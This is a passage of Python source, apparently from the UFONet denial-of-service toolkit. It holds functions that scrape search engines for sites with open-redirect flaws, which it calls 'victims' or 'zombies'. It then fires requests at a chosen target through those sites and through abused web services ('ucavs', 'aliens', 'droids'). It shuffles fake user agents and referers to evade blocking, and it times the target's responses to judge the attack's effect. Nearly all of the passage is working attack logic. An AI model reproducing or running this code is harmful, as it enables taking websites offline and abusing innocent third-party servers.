  2663. # crawlering on search engine results to extract zombies
  2664. options = self.options
  2665. zombies = []
  2666. if not options.engine: # default search engine
  2667. options.engine = 'duck'
  2668. if options.engine == 'bing': # using bing [28/02/2019: OK!]
  2669. url = 'https://www.bing.com/search?'
  2670. if options.search: # search from query
  2671. q = 'instreamset:(url):"' + str(options.search) + '"' # set query to search literally on results
  2672. if options.dorks or options.autosearch: # search from a dork
  2673. q = 'instreamset:(url):"' + str(dork) + '"' # set query from a dork to search literally on results
  2674. start = 0 # set index number of first entry
  2675. query_string = { 'q':q, 'first':start }
  2676. data = urllib.parse.urlencode(query_string)
  2677. url = url + data
  2678. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  2679. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  2680. if options.verbose:
  2681. print("[Info] [AI] Query used: " + url)
  2682. print("\n" + '-'*44 + '\n')
  2683. try:
  2684. if options.proxy: # set proxy
  2685. self.proxy_transport(options.proxy)
  2686. req = urllib.request.Request(url, None, headers)
  2687. req_reply = urllib.request.urlopen(req, context=self.ctx).read().decode('utf-8')
  2688. except:
  2689. print('[Error] [AI] Unable to connect to: bing\n')
  2690. if options.allengines or options.autosearch:
  2691. return
  2692. if not options.dorks or not options.autosearch:
  2693. if not self.options.forceyes:
  2694. update_reply = input("[AI] Do you want to try a different search engine? (Y/n)")
  2695. else:
  2696. update_reply = "Y"
  2697. if update_reply == "n" or update_reply == "N":
  2698. return #sys.exit(2)
  2699. print("\nSearch engines available:")
  2700. print('-'*25)
  2701. for e in self.search_engines:
  2702. print("+ "+e)
  2703. print('-'*25)
  2704. print("\nEx: ufonet -s 'proxy.php?url=' --se 'yahoo'")
  2705. return #sys.exit(2)
  2706. else:
  2707. req_reply = ''
  2708. regex = '<li class="b_algo"><h2><a href="(.+?)">' # regex magics
  2709. pattern = re.compile(regex)
  2710. url_links = re.findall(pattern, req_reply)
  2711. elif options.engine == 'yahoo': # yahoo [28/02/2019: OK!]
  2712. location = ['fr', 'de', 'es', 'nl', 'it', 'se', 'ch', 'jp', 'ru', 'lt'] # evading Yahoo anti-dorking [grey magic: 28/02/2019]
  2713. #location = ['fr', 'de', 'es', 'nl', 'se', 'ch', 'ru'] # [08/04/2017]
  2714. location = str(random.choice(location).strip()) # shuffle location
  2715. if location == "jp": # [28/02/2019]
  2716. url = 'https://search.yahoo.co.jp/search?'
  2717. else:
  2718. url = 'https://'+location+'.search.yahoo.com/search?'
  2719. if options.search: # search from query
  2720. if location == "jp":
  2721. q = '"' + str(options.search) + '"' # set query to search literally on results
  2722. else:
  2723. q = 'instreamset:(url):"' + str(options.search) + '"' # set query to search literally on results
  2724. if options.dorks or options.autosearch: # search from a dork
  2725. if location == "jp":
  2726. q = '"' + str(dork) + '"' # set query to search literally on results
  2727. else:
  2728. q = 'instreamset:(url):"' + str(dork) + '"' # set query from a dork to search literally on results
  2729. start = 0 # set index number of first entry
  2730. query_string = { 'p':q, 'b':start }
  2731. data = urllib.parse.urlencode(query_string)
  2732. url = url + data
  2733. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  2734. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  2735. if options.verbose:
  2736. print(("Query used: " + url + "\n"))
  2737. try:
  2738. if options.proxy: # set proxy
  2739. self.proxy_transport(options.proxy)
  2740. req = urllib.request.Request(url, None, headers)
  2741. req_reply = urllib.request.urlopen(req, context=self.ctx).read().decode('utf-8')
  2742. except:
  2743. print('[Error] [AI] Unable to connect to: yahoo\n')
  2744. if options.allengines or options.autosearch:
  2745. return
  2746. if not options.dorks or not options.autosearch:
  2747. if not self.options.forceyes:
  2748. update_reply = input("[AI] Do you want to try a different search engine? (Y/n)")
  2749. else:
  2750. update_reply = "Y"
  2751. if update_reply == "n" or update_reply == "N":
  2752. return #sys.exit(2)
  2753. print("\nSearch engines available:")
  2754. print('-'*25)
  2755. for e in self.search_engines:
  2756. print("+ "+e)
  2757. print('-'*25)
  2758. print("\nEx: ufonet -s 'proxy.php?url=' --se 'bing'")
  2759. return #sys.exit(2)
  2760. else:
  2761. req_reply = ''
  2762. #regex = '<h3 class="title"><a style="color:#2C46C7" class=" td-u" href="(.+?)" target="_blank"' # regex magics [18/08/2016]
  2763. regex = 'href="(.+?)" target="_blank" data' # regex magics [08/04/2017]
  2764. pattern = re.compile(regex)
  2765. url_links = re.findall(pattern, req_reply)
  2766. elif options.engine == 'duck': # using duckduckgo [28/02/2019: OK!]
  2767. url = 'https://duckduckgo.com/html/'
  2768. if options.search: # search from query
  2769. q = 'instreamset:(url):"' + str(options.search) + '"' # set query to search literally on results
  2770. if options.dorks or options.autosearch: # search from a dork
  2771. q = 'instreamset:(url):"' + str(dork) + '"' # set query from a dork to search literally on results
  2772. query_string = { 'q':q }
  2773. data = urllib.parse.urlencode(query_string)
  2774. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  2775. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  2776. if options.verbose:
  2777. print("Query used: " + url + " (POST: "+ data + ")\n")
  2778. try:
  2779. if options.proxy: # set proxy
  2780. self.proxy_transport(options.proxy)
  2781. req = urllib.request.Request(url, data.encode('utf-8'), headers) # HTTP POST request
  2782. req_reply = urllib.request.urlopen(req, context=self.ctx).read().decode('utf-8')
  2783. except:
  2784. print('[Error] [AI] Unable to connect to: duck\n')
  2785. if options.allengines or options.autosearch:
  2786. return
  2787. if not options.dorks or not options.autosearch:
  2788. if not self.options.forceyes:
  2789. update_reply = input("[AI] Do you want to try a different search engine? (Y/n)")
  2790. else:
  2791. update_reply = "Y"
  2792. if update_reply == "n" or update_reply == "N":
  2793. return #sys.exit(2)
  2794. print("\nSearch engines available:")
  2795. print('-'*25)
  2796. for e in self.search_engines:
  2797. print("+ "+e)
  2798. print('-'*25)
  2799. print("\nEx: ufonet -s 'proxy.php?url=' --se 'yahoo'")
  2800. return #sys.exit(2)
  2801. else:
  2802. req_reply = ''
  2803. regex = 'snippet" href="(.+?)">' # regex magics
  2804. pattern = re.compile(regex)
  2805. url_links = re.findall(pattern, req_reply)
  2806. else: # no valid search engine
  2807. print('[Error] [AI] This search engine is not supported!\n')
  2808. if not options.dorks or options.autosearch:
  2809. if not self.options.forceyes:
  2810. update_reply = input("[AI] Do you want to try a different search engine? (Y/n)")
  2811. else:
  2812. update_reply = "Y"
  2813. if update_reply == "n" or update_reply == "N":
  2814. return #sys.exit(2)
  2815. print("\nSearch engines available:")
  2816. print('-'*25)
  2817. for e in self.search_engines:
  2818. print("+ "+e)
  2819. print('-'*25)
  2820. print("\nEx: ufonet -s 'proxy.php?url=' --se 'yahoo'")
  2821. return #sys.exit(2)
  2822. else:
  2823. req_reply = ''
  2824. if options.num_results: # set number of results to search
  2825. try:
  2826. num = int(options.num_results)
  2827. except:
  2828. print("[Info] [AI] You should specify an integer!... Using default value: 10\n")
  2829. num = 10
  2830. else:
  2831. num = 10
  2832. total_results = 1
  2833. for url in url_links: # general parse on urls
  2834. if int(num) < int(total_results):
  2835. break
  2836. if options.engine == "bing":
  2837. if " h=" in url: # regex magics [18/08/2016]
  2838. url = url.rsplit('" h=',1)[0]
  2839. if options.engine == "yahoo":
  2840. if 'RU=' in url: # regex magics [18/08/2016]
  2841. url = url.rsplit('RU=',1)[1]
  2842. if 'UTF-8&u=' in url: # regex magics [05/02/2018]
  2843. url = url.rsplit('UTF-8&u=',1)[1]
  2844. total_results = total_results + 1 # results counter
  2845. url_link = urllib.parse.unquote(url) # unquote encoding
  2846. if options.search:
  2847. sep = str(options.search)
  2848. if options.dorks or options.autosearch:
  2849. sep = str(dork)
  2850. url_link = url_link.rsplit(sep, 1)[0] + sep
  2851. if 'href="' in url_link:
  2852. url_link = url_link.rsplit('href="', 1)[1]
  2853. if "instreamset" in url_link: # invalid zombie
  2854. url_link = "" # discarded
  2855. if '" ' in url_link:
  2856. url_link = url_link.rsplit('" ', 1)[1]
  2857. if options.engine in url_link:
  2858. url_link = "" # discarded
  2859. if 'http' not in url_link:
  2860. url_link = "" # discarded
  2861. else:
  2862. if url_link not in zombies and url_link+os.linesep not in zombies_found and url_link is not "": # AI mode (parsing search engines mixed pool and stored army)
  2863. print('+Victim found: ' + url_link)
  2864. print('-'*12)
  2865. zombies.append(url_link)
  2866. else:
  2867. pass
  2868. if len(zombies) == 0: # print dorking results
  2869. print("[Info] [AI] NOT any NEW victim(s) found for this query!")
  2870. if not options.dorks:
  2871. if not options.autosearch:
  2872. if not self.options.forceyes:
  2873. return #sys.exit(2)
  2874. print("\n" + '-'*44 + '\n')
  2875. self.total_possible_zombies = self.total_possible_zombies + len(zombies)
  2876. return zombies
  2877. def check_nat(self):
  2878. # check for NAT configuration
  2879. options = self.options
  2880. tor_reply = urllib.request.urlopen(self.check_tor_url).read().decode('utf-8') # check if TOR is enabled
  2881. your_ip = tor_reply.split('<strong>')[1].split('</strong>')[0].strip()
  2882. check_ip_service = None
  2883. if not tor_reply or 'Congratulations' not in tor_reply:
  2884. print("[Info] [AI] It seems that you are not using TOR to recieve data. -> [OK!]\n")
  2885. else:
  2886. print("[Error] [AI] You are using TOR as public IP... It's not possible to NAT! -> [Aborting!]\n")
  2887. self.nat_error_flag = "ON"
  2888. return #sys.exit(2)
  2889. try:
  2890. data = str(urlopen(self.check_ip_service1).read()) # check for public ip
  2891. self.pub_ip = re.compile(r'Address: (\d+\.\d+\.\d+\.\d+)').search(data).group(1)
  2892. check_ip_service = self.check_ip_service1
  2893. except:
  2894. try: # another check for public ip
  2895. data = str(urlopen(self.check_ip_service2).read())
  2896. self.pub_ip = re.compile(r'">(\d+\.\d+\.\d+\.\d+)</span>').search(data).group(1)
  2897. check_ip_service = self.check_ip_service2
  2898. except:
  2899. print("[Error] [AI] Something wrong checking your public IP! -> [Exiting!]\n")
  2900. self.nat_error_flag = "ON"
  2901. return
  2902. t = urlparse(check_ip_service)
  2903. name_service = t.netloc
  2904. print(" + Public: " + self.pub_ip + " | "+name_service+"\n")
  2905. s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  2906. s.connect(('8.8.8.8', 0)) # connecting to a UDP address doesn't send packets (black magic)
  2907. self.local_ip = s.getsockname()[0]
  2908. print(" + Local: " + self.local_ip + "\n")
  2909. print('='*22 + '\n')
  2910. def extract_ucavs(self):
  2911. # extract ucavs from file
  2912. options = self.options
  2913. try:
  2914. f = open(self.ucavs_file)
  2915. ucavs = f.readlines()
  2916. ucavs = [ ucav.replace('\n','') for ucav in ucavs ]
  2917. f.close()
  2918. if not ucavs:
  2919. print("[Info] [AI] [Control] Cannot retrieve [UCAVs] from: 'botnet/ucavs.txt' -> [Discarding!]")
  2920. self.options.disableucavs = True
  2921. return
  2922. else:
  2923. return ucavs
  2924. except:
  2925. if os.path.exists(self.ucavs_file) == True:
  2926. print("[Info] [AI] [Control] Cannot open [UCAVs] from: 'botnet/ucavs.txt' -> [Discarding!]")
  2927. return #sys.exit(2)
  2928. else:
  2929. print("[Info] [AI] [Control] Cannot found [UCAVs] from: 'botnet/ucavs.txt' -> [Discarding!]")
  2930. return #sys.exit(2)
  2931. def discarding_ucavs(self, ucav, ucavs):
  2932. if ucav in self.discard_ucavs:
  2933. ucavs.remove(ucav)
  2934. if self.options.verbose:
  2935. print(("[Info] [AI] [Control] [UCAVs] "+str(ucav)+" is not working! -> [Discarding!]"))
  2936. self.ucavs_fail = self.ucavs_fail + 1 # add ucav fail to stats
  2937. return ucavs
  2938. def send_ucavs(self, ucavs):
  2939. # extract external status checkers, perform a request and check results
  2940. time.sleep(5) # aiming (multi-threading flow time compensation)
  2941. if not self.options.disablepurge:
  2942. if not ucavs: # return when not any working
  2943. self.options.disableucavs = True
  2944. return
  2945. options = self.options
  2946. target = self.options.target
  2947. shuffle(ucavs) # shuffle ucavs order, each round :-)
  2948. if not self.options.disablepurge:
  2949. for ucav in ucavs:
  2950. if not ucav.startswith('http'): # discarded inmediately
  2951. self.discard_ucavs.append(ucav)
  2952. self.num_discard_ucavs = self.num_discard_ucavs + 1
  2953. ucavs = self.discarding_ucavs(ucav, ucavs) # check if ucav is failing for autobalance army
  2954. if not self.options.disablepurge:
  2955. if not ucavs: # return when not any working
  2956. self.options.disableucavs = True
  2957. return
  2958. shuffle(ucavs) # shuffle ucavs order, each discarding check :-)
  2959. for ucav in ucavs:
  2960. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  2961. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  2962. if target.startswith("http://"): # parse target for some checkers
  2963. target = target.replace('http://','')
  2964. elif target.startswith("https://"):
  2965. target = target.replace('https://','')
  2966. url = ucav + target
  2967. t = urlparse(ucav)
  2968. name_ucav = t.netloc
  2969. if name_ucav == "":
  2970. name_ucav = ucav
  2971. if options.verbose:
  2972. print(("[Info] [UCAVs] Sniping: " + url))
  2973. try:
  2974. if options.proxy: # set proxy
  2975. self.proxy_transport(options.proxy)
  2976. if options.timeout: # set timeout
  2977. ucav_timeout = options.timeout
  2978. else:
  2979. ucav_timeout = 5
  2980. if ucav_timeout < 1:
  2981. ucav_timeout = 5
  2982. req = urllib.request.Request(url, None, headers)
  2983. target_reply = urllib.request.urlopen(req, context=self.ctx, timeout=ucav_timeout).read().decode('utf-8')
  2984. self.ucavs_hit = self.ucavs_hit + 1 # add ucav hit to stats
  2985. except:
  2986. print("[Info] [UCAVs] " + name_ucav + " -> FAILED (cannot connect!)")
  2987. if not self.options.disablepurge:
  2988. self.discard_ucavs.append(ucav)
  2989. self.num_discard_ucavs = self.num_discard_ucavs + 1
  2990. self.ucavs_fail = self.ucavs_fail + 1 # add ucav fail to stats
  2991. target_reply = ""
  2992. if target_reply == "": # check for target's status resolved by [UCAVs]
  2993. pass
  2994. else:
  2995. if not "is down" or not "looks down" in target_reply: # parse external service for reply
  2996. print("[Info] [UCAVs] " + name_ucav + " -> Target is ONLINE! -> [Keep shooting!]")
  2997. self.num_is_up = self.num_is_up + 1
  2998. else:
  2999. print("[Info] [UCAVs] " + name_ucav + " -> Target looks OFFLINE! -> [Checking!]")
  3000. self.num_is_down = self.num_is_down + 1
  3001. if self.options.verbose:
  3002. print("[Info] [AI] [UCAVs] "+str(name_ucav)+" is returning...")
  3003. self.extra_zombies_lock = False # [ARMY] have finished
  3004. def extract_median(self, num_list):
  3005. # extract median from a list of numbers
  3006. import statistics
  3007. int_num = []
  3008. for num in num_list:
  3009. num = float(num)
  3010. int_num.append(num)
  3011. return statistics.median(int_num)
  3012. def check_is_loading(self, target):
  3013. # perform a broadband test (using GET) to analize target's reply to the traffic generated each round
  3014. self.start = None
  3015. self.stop = None
  3016. print('\n---------')
  3017. print("\n[Info] [AI] Scanning target to check for levels on defensive shields...\n")
  3018. if target.endswith(""):
  3019. target.replace("", "/")
  3020. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  3021. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  3022. try:
  3023. req = urllib.request.Request(target, None, headers)
  3024. if self.options.proxy: # set proxy
  3025. self.proxy_transport(self.options.proxy)
  3026. if self.options.timeout: # set timeout
  3027. try:
  3028. timeout = int(self.options.timeout)
  3029. except:
  3030. timeout = 5
  3031. else:
  3032. timeout = 5
  3033. if timeout < 1:
  3034. timeout = 5
  3035. self.start = time.time()
  3036. target_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
  3037. header = urllib.request.urlopen(req, context=self.ctx).info()
  3038. self.stop = time.time()
  3039. except:
  3040. print('[Info] [AI] Our scanner cannot connect to the target this round! -> [Skipping!]\n')
  3041. return
  3042. try:
  3043. s, size_name = self.convert_size(len(target_reply))
  3044. self.loadcheck_size_list.append(s) # add record to size list
  3045. size = '%s %s' % (s,size_name)
  3046. except:
  3047. size = "Error!"
  3048. try:
  3049. time_required = self.stop - self.start
  3050. load = self.convert_time(time_required)
  3051. self.loadcheck_load_list.append(load) # add record to load list
  3052. except:
  3053. load = "Error!"
  3054. self.loadcheck_counter = self.loadcheck_counter + 1
  3055. print(' -Total tests:', self.loadcheck_counter, "\n")
  3056. if self.loadcheck_prev_size is not None and self.loadcheck_prev_load is not None:
  3057. lsm = self.extract_median(self.loadcheck_size_list)
  3058. if lsm is not None:
  3059. self.loadcheck_size_median = str(lsm) + " " + size_name
  3060. else:
  3061. self.loadcheck_size_median = None
  3062. llm = self.extract_median(self.loadcheck_load_list)
  3063. if llm is not None:
  3064. self.loadcheck_load_median = str(llm) + " seconds"
  3065. else:
  3066. self.loadcheck_load_median = None
  3067. if self.loadcheck_counter == 2: # first round
  3068. print(' -Bytes in (first round) :', self.loadcheck_first_size)
  3069. print(' -Bytes in (this round) :', size)
  3070. if self.loadcheck_size_median is not None:
  3071. print(' -Bytes in (median) :', self.loadcheck_size_median)
  3072. print(' ----')
  3073. print(' -Load time (first round) :', self.loadcheck_first_load, "seconds")
  3074. print(' -Load time (this round) :', load, "seconds")
  3075. if self.loadcheck_load_median is not None:
  3076. print(' -Load time (median) :', self.loadcheck_load_median, "\n")
  3077. else:
  3078. print("\n")
  3079. self.loadcheck_size_max = None
  3080. self.loadcheck_size_min = None
  3081. self.loadcheck_load_max = None
  3082. self.loadcheck_load_min = None
  3083. elif self.loadcheck_counter > 2: # rest of rounds
  3084. lsmax = max(self.loadcheck_size_list)
  3085. if lsmax is not None:
  3086. self.loadcheck_size_max = str(lsmax) + " " + size_name
  3087. else:
  3088. self.loadcheck_size_max = None
  3089. lsmin = min(self.loadcheck_size_list)
  3090. if lsmin is not None:
  3091. self.loadcheck_size_min = str(lsmin) + " " + size_name
  3092. else:
  3093. self.loadcheck_size_min = None
  3094. llmax = max(self.loadcheck_load_list)
  3095. if llmax is not None:
  3096. self.loadcheck_load_max = str(llmax) + " seconds"
  3097. else:
  3098. self.loadcheck_load_max = None
  3099. llmin = min(self.loadcheck_load_list)
  3100. if llmin is not None:
  3101. self.loadcheck_load_min = str(llmin) + " seconds"
  3102. else:
  3103. self.loadcheck_load_min = None
  3104. print(' -Bytes in (first round) :', self.loadcheck_first_size)
  3105. print(' -Bytes in (previous round) :', self.loadcheck_prev_size)
  3106. print(' -Bytes in (this round) :', size)
  3107. if self.loadcheck_size_max is not None:
  3108. print(' -Bytes in (max) :', self.loadcheck_size_max)
  3109. if self.loadcheck_size_min is not None:
  3110. print(' -Bytes in (min) :', self.loadcheck_size_min)
  3111. if self.loadcheck_size_median is not None:
  3112. print(' -Bytes in (median) :', self.loadcheck_size_median)
  3113. print(' ----')
  3114. print(' -Load time (first round) :', self.loadcheck_first_load, "seconds")
  3115. print(' -Load time (previous round):', self.loadcheck_prev_load, "seconds")
  3116. print(' -Load time (this round) :', load, "seconds")
  3117. if self.loadcheck_load_max is not None:
  3118. print(' -Load time (max) :', self.loadcheck_load_max)
  3119. if self.loadcheck_load_min is not None:
  3120. print(' -Load time (min) :', self.loadcheck_load_min)
  3121. if self.loadcheck_load_median is not None:
  3122. print(' -Load time (median) :', self.loadcheck_load_median, "\n")
  3123. else:
  3124. print("\n")
  3125. if self.loadcheck_prev_load < load: # target is loading more slowly
  3126. print("[Info] [AI] [Scanner] Target is serving the content more slowly this round! ;-) -> [Keep shooting!]\n")
  3127. elif self.loadcheck_prev_load == load: # inmutable target
  3128. print("[Info] [AI] [Scanner] Attack is not having any effect on your target this round... -> [Keep shooting!]\n")
  3129. elif self.loadcheck_prev_load > load: # is target defending?
  3130. print("[Info] [AI] [Scanner] Target is loading this round faster than the previous one! -> DETECTED: [PROXY CACHE!!]\n")
  3131. else:
  3132. print(' -Bytes in (this round) :', size)
  3133. print(' -Load time (this round):', load, "seconds\n")
  3134. self.loadcheck_first_size = size
  3135. self.loadcheck_first_load = load
  3136. self.loadcheck_size_median = None
  3137. self.loadcheck_load_median = None
  3138. self.loadcheck_size_max = None
  3139. self.loadcheck_size_min = None
  3140. self.loadcheck_load_max = None
  3141. self.loadcheck_load_min = None
  3142. self.loadcheck_prev_size = size # record previous size
  3143. self.loadcheck_prev_load = load # record previous load
  3144. def convert_size(self, size):
  3145. if (size == 0):
  3146. return '0 B'
  3147. size_name = ("B", "KB", "MB", "GB", "TB", "PB", "EB", "ZB", "YB")
  3148. i = int(math.floor(math.log(size,1024)))
  3149. p = math.pow(1024,i)
  3150. s = round(size/p,2)
  3151. return s, size_name[i]
  3152. def convert_time(self, time):
  3153. return '%.2f' % time
  3154. def discarding_zombies(self, zombie, zombies):
  3155. if zombie in self.discardzombies:
  3156. zombies.remove(zombie)
  3157. if self.options.verbose:
  3158. print(("[Info] [AI] [Control] [Zombies] "+str(zombie)+" is not working! -> [Discarding!]"))
  3159. return zombies
  3160. def send_zombies(self, zombies):
  3161. # send Open Redirect zombies
  3162. time.sleep(1) # aiming (multi-threading flow time compensation)
  3163. if not self.options.disablepurge:
  3164. if not zombies:
  3165. self.empty_zombies = True
  3166. return
  3167. if self.options.verbose:
  3168. print("[Info] [AI] [Control] Deploying [Zombies] with 'maser-melee' weapons...")
  3169. options = self.options
  3170. target = self.options.target
  3171. shuffle(zombies) # shuffle zombies order, each round :-)
  3172. if not self.options.disablepurge:
  3173. for zombie in zombies: # check if zombie is failing for autobalance army
  3174. if not zombie.startswith('http'): # discarded inmediately
  3175. self.discardzombies.append(zombie)
  3176. self.num_discard_zombies = self.num_discard_zombies + 1
  3177. zombies = self.discarding_zombies(zombie, zombies)
  3178. if not self.options.disablepurge:
  3179. if not zombies: # return when not any working
  3180. self.empty_zombies = True
  3181. return
  3182. for zombie in zombies:
  3183. t = urlparse(zombie)
  3184. name_zombie = t.netloc
  3185. if name_zombie == "":
  3186. name_zombie = zombie
  3187. if not self.options.attackme:
  3188. print("[Info] [Zombies] Attacking from: " + name_zombie)
  3189. else: # on attackme, target url is dynamic -> http://public_ip:port/hash|zombie
  3190. self.mothership_hash = random.getrandbits(128) # generating random evasion hash
  3191. target = "http://" + str(self.pub_ip) + ":" + self.port + "/"+ str(self.mothership_hash) + "|" + zombie
  3192. self.options.target = target
  3193. print("[Info] [Zombies] Attacking: " + str(self.pub_ip) + ":" + self.port + " -> [LAN]" + self.local_ip + ":" + self.port)
  3194. print("[Info] [Zombies] Payload: " + target)
  3195. print('='*55, "\n")
  3196. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  3197. if not options.target.startswith('http'):
  3198. if options.forcessl:
  3199. options.target = "https://" + options.target
  3200. else:
  3201. options.target = "http://" + options.target
  3202. self.attack_mode = True
  3203. try:
  3204. if options.verbose:
  3205. print("[Info] [Zombies] Sniping: " + options.target)
  3206. self.connect_zombies(zombie)
  3207. if self.options.dbstress: # try to stress db on target by using vulnerable Open Redirect web servers
  3208. self.db_flash = self.db_flash + 1
  3209. stress = self.stressing(target, zombie)
  3210. except Exception:
  3211. print("[Info] [Zombies] " + zombie + " -> FAILED (cannot connect!)")
  3212. self.total_zombies_failed_connection = self.total_zombies_failed_connection + 1 # used to manage threading pool
  3213. if not self.options.disablepurge:
  3214. self.discardzombies.append(zombie)
  3215. self.num_discard_zombies = self.num_discard_zombies + 1
  3216. if self.options.verbose:
  3217. print("[Info] [AI] [Zombies] "+str(name_zombie)+" is returning...")
  3218. self.attack_mode = False
  3219. def discarding_aliens(self, alien, aliens):
  3220. if alien in self.discard_aliens:
  3221. aliens.remove(alien)
  3222. if self.options.verbose:
  3223. print(("[Info] [AI] [Control] [Aliens] "+str(alien)+" is not working! -> [Discarding!]"))
  3224. self.aliens_fail = self.aliens_fail + 1 # add fail to aliens stats
  3225. return aliens
  3226. def send_aliens(self, aliens):
  3227. # extract external web abuse services urls (POST) and perform requests against target
  3228. time.sleep(2) # aiming (multi-threading flow time compensation)
  3229. if not self.options.disablepurge:
  3230. if not aliens: # return when not any working
  3231. self.options.disablealiens = True
  3232. return
  3233. target = self.options.target
  3234. options = self.options
  3235. shuffle(aliens) # shuffle aliens
  3236. if not self.options.disablepurge:
  3237. for alien in aliens:
  3238. if not alien.startswith('http'): # discarded inmediately
  3239. self.discard_aliens.append(alien)
  3240. self.num_discard_aliens = self.num_discard_aliens + 1
  3241. aliens = self.discarding_aliens(alien, aliens) # check if alien is failing for autobalance army
  3242. if not self.options.disablepurge:
  3243. if not aliens: # return when not any working
  3244. self.options.disablealiens = True
  3245. return
  3246. shuffle(aliens) # shuffle aliens order, each discarding check :-)
  3247. for alien in aliens:
  3248. if "$POST" in alien: # extract alien/parameters -> search for $POST delimiter on 'aliens.txt' file
  3249. regex_alien = re.compile('{}(.*){}'.format(re.escape(''), re.escape(';$POST'))) # regex magics
  3250. pattern_alien = re.compile(regex_alien)
  3251. alien_url = re.findall(pattern_alien, alien) # HTTP POST url for submit data
  3252. regex_param = re.compile('{}(.*){}'.format(re.escape('$POST;'), re.escape(''))) # regex magics
  3253. pattern_param = re.compile(regex_param)
  3254. param = re.findall(pattern_param, alien) # HTTP POST params to submit
  3255. for u in alien_url:
  3256. url = u # ex: POST -> path/submit.php
  3257. t = urlparse(url)
  3258. name_alien = t.netloc
  3259. if name_alien == "":
  3260. name_alien = alien
  3261. print("[Info] [Aliens] Attacking from: " + name_alien)
  3262. for p in param:
  3263. param_target = {p : target} # ex POST -> url=target
  3264. param_target = urllib.parse.urlencode(param_target)
  3265. try:
  3266. if options.verbose:
  3267. print("[Info] [Aliens] Sniping: " + url + " - POST:", param_target)
  3268. if options.proxy: # set proxy
  3269. self.proxy_transport(options.proxy)
  3270. if self.options.timeout: # set timeout
  3271. try:
  3272. alien_timeout = int(self.options.timeout)
  3273. except:
  3274. alien_timeout = 5
  3275. else:
  3276. alien_timeout = 5
  3277. if alien_timeout < 1:
  3278. alien_timeout = 5
  3279. req = urllib.request.Request(url, param_target.encode('utf-8'))
  3280. rsp = urllib.request.urlopen(req, context=self.ctx, timeout=alien_timeout)
  3281. self.aliens_hit = self.aliens_hit + 1 # add hit to aliens stats
  3282. except Exception:
  3283. print("[Info] [Aliens] " + name_alien + " -> FAILED (cannot connect!)")
  3284. self.aliens_fail = self.aliens_fail + 1 # add fail to aliens stats
  3285. if not self.options.disablepurge:
  3286. self.discard_aliens.append(alien)
  3287. self.num_discard_aliens = self.num_discard_aliens + 1
  3288. else:
  3289. print(("[Info] [Aliens] "+str(alien)+" -> FAILED (invalid alien!)"))
  3290. self.aliens_fail = self.aliens_fail + 1 # add fail to aliens stats
  3291. if not self.options.disablepurge:
  3292. self.discard_aliens.append(alien)
  3293. self.num_discard_aliens = self.num_discard_aliens + 1
  3294. if self.options.verbose:
  3295. print("[Info] [AI] [Aliens] "+str(name_alien)+" is returning...")
  3296. if self.options.disabledroids and self.options.disablerpcs and self.options.disableucavs:
  3297. self.extra_zombies_lock = False # [ARMY] have finished
  3298. def extract_aliens(self):
  3299. # extract aliens from file
  3300. options = self.options
  3301. try:
  3302. f = open(self.aliens_file)
  3303. aliens = f.readlines()
  3304. aliens = [ alien.replace('\n','') for alien in aliens ]
  3305. f.close()
  3306. if not aliens:
  3307. print("[Info] [AI] [Control] Cannot retrieve [Aliens] from: 'botnet/aliens.txt' -> [Discarding!]")
  3308. self.options.disablealiens = True
  3309. return
  3310. else:
  3311. return aliens
  3312. except:
  3313. if os.path.exists(self.aliens_file) == True:
  3314. print("[Info] [AI] [Control] Cannot open [Aliens] from: 'botnet/aliens.txt' -> [Discarding!]")
  3315. return #sys.exit(2)
  3316. else:
  3317. print("[Info] [AI] [Control] Cannot found [Aliens] from: 'botnet/aliens.txt' -> [Discarding!]")
  3318. return #sys.exit(2)
  3319. def discarding_droids(self, droid, droids):
  3320. if droid in self.discard_droids:
  3321. droids.remove(droid)
  3322. if self.options.verbose:
  3323. print(("[Info] [AI] [Control] [Droids] "+str(droid)+" is not working! -> [Discarding!]"))
  3324. self.droids_fail = self.droids_fail + 1 # add fail to droids stats
  3325. return droids
  3326. def send_droids(self, droids):
  3327. # extract external web abuse services urls (GET) and perform requests against target
  3328. time.sleep(3) # aiming (multi-threading flow time compensation)
  3329. if not self.options.disablepurge:
  3330. if not droids: # return when not any working
  3331. self.options.disabledroids = True
  3332. return
  3333. target = self.options.target
  3334. try:
  3335. target = urllib.parse.unquote(target).decode('utf8') # parte urlencoding
  3336. except:
  3337. target = urllib.parse.unquote(target)
  3338. if target.startswith('http://'): # remove http
  3339. target = target.replace('http://', '')
  3340. if target.startswith('https://'):
  3341. target = target.replace('https://', '') # remove https
  3342. options = self.options
  3343. shuffle(droids) # shuffle droids
  3344. if not self.options.disablepurge:
  3345. for droid in droids:
  3346. if not droid.startswith('http'): # discarded inmediately
  3347. self.discard_droids.append(droid)
  3348. self.num_discard_droids = self.num_discard_droids + 1
  3349. droids = self.discarding_droids(droid, droids) # check if droid is failing for autobalance army
  3350. if not self.options.disablepurge:
  3351. if not droids: # return when not any working
  3352. self.options.disabledroids = True
  3353. return
  3354. shuffle(droids) # shuffle droids order, each discarding check :-)
  3355. for droid in droids:
  3356. if "$TARGET" in droid: # replace droid/parameter for target
  3357. url = droid.replace("$TARGET", target)
  3358. t = urlparse(url)
  3359. name_droid = t.netloc
  3360. if name_droid == "":
  3361. name_droid = droid
  3362. print("[Info] [Droids] Attacking from: " + name_droid)
  3363. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  3364. headers = {'User-Agent' : self.user_agent, 'Content-type' : "application/x-www-form-urlencoded", 'Referer' : self.referer, 'Connection' : 'keep-alive'} # set fake headers
  3365. try:
  3366. if options.proxy: # set proxy
  3367. self.proxy_transport(options.proxy)
  3368. if self.options.timeout: # set timeout
  3369. try:
  3370. droid_timeout = int(self.options.timeout)
  3371. except:
  3372. droid_timeout = 5
  3373. else:
  3374. droid_timeout = 5
  3375. if droid_timeout < 1:
